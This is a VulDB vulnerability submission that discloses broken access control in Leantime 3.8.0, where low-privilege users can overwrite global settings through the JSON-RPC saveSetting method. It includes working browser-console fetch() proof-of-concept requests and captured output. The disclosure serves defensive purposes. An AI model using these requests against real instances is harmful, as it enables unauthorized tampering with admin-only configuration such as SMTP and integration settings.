Submeter #846171: Leantime Project Management System 3.8.0 Improper Authorizationinformação

TítuloLeantime Project Management System 3.8.0 Improper Authorization
DescriçãoLeantime exposes service-layer methods through its JSON-RPC endpoint. A request is authenticated (unauthenticated calls return HTTP 401) and must carry the `X-Requested-With: XMLHttpRequest` header, but the individual `@api` methods are responsible for their own role checks and `Setting::saveSetting()` performs none. As a result, **any authenticated user holding the lowest role (read-only / commenter / editor) can write or overwrite any global setting** in the `zp_settings` store via `leantime.rpc.setting.setting.saveSetting`. Global settings include company configuration, integration/SMTP settings, feature and telemetry toggles, and other instance-wide options that are intended to be admin-only. The sibling read method `setting.getSetting` is reachable the same way, so values can also be read back. ## Reproduction from the browser (no external tools) Pre-req: any ordinary low-privilege Leantime account (e.g. a read-only user). 1. Log in to Leantime in a browser as the low-privilege user. 2. Open DevTools (**F12**) -> **Console**. 3. Write an arbitrary global setting: ```js fetch('/api/jsonrpc',{method:'POST',credentials:'include', headers:{'Content-Type':'application/json','X-Requested-With':'XMLHttpRequest'}, body:JSON.stringify({jsonrpc:'2.0',id:1,method:'leantime.rpc.setting.setting.saveSetting', params:{key:'companysettings.SECTEST',value:'written-by-low-priv'}})}) .then(r=>r.json()).then(console.log) // -> {result: true} ``` 4. Read it back to confirm persistence: ```js fetch('/api/jsonrpc',{method:'POST',credentials:'include', headers:{'Content-Type':'application/json','X-Requested-With':'XMLHttpRequest'}, body:JSON.stringify({jsonrpc:'2.0',id:1,method:'leantime.rpc.setting.setting.getSetting', params:{key:'companysettings.SECTEST'}})}) .then(r=>r.json()).then(console.log) // -> {result: "written-by-low-priv"} ``` ## Evidence (captured against leantime/leantime:latest, 3.8.0, role-5 read-only user) ``` saveSetting(companysettings.SECTEST, "written-by-readonly") -> {"result": true} getSetting(companysettings.SECTEST) -> {"result": "written-by-readonly"} (value persisted to the zp_settings table) unauthenticated same call -> 401 {"error":"Unauthorized"} ``` Credit: Jobyer Ahmed (Bytium)
Fonte⚠️ https://bytium.com/insights/leantime-3-8-0-broken-access-control
Utilizador
 suffer (UID 74855)
Submissão02/06/2026 17h37 (há 1 mês)
Moderação12/07/2026 07h58 (1 month later)
EstadoAceite
Entrada VulDB377839 [Leantime até 3.8.0 API Setting::saveSetting Elevação de Privilégios]
Pontos20

Do you want to use VulDB in your project?

Use the official API to access entries easily!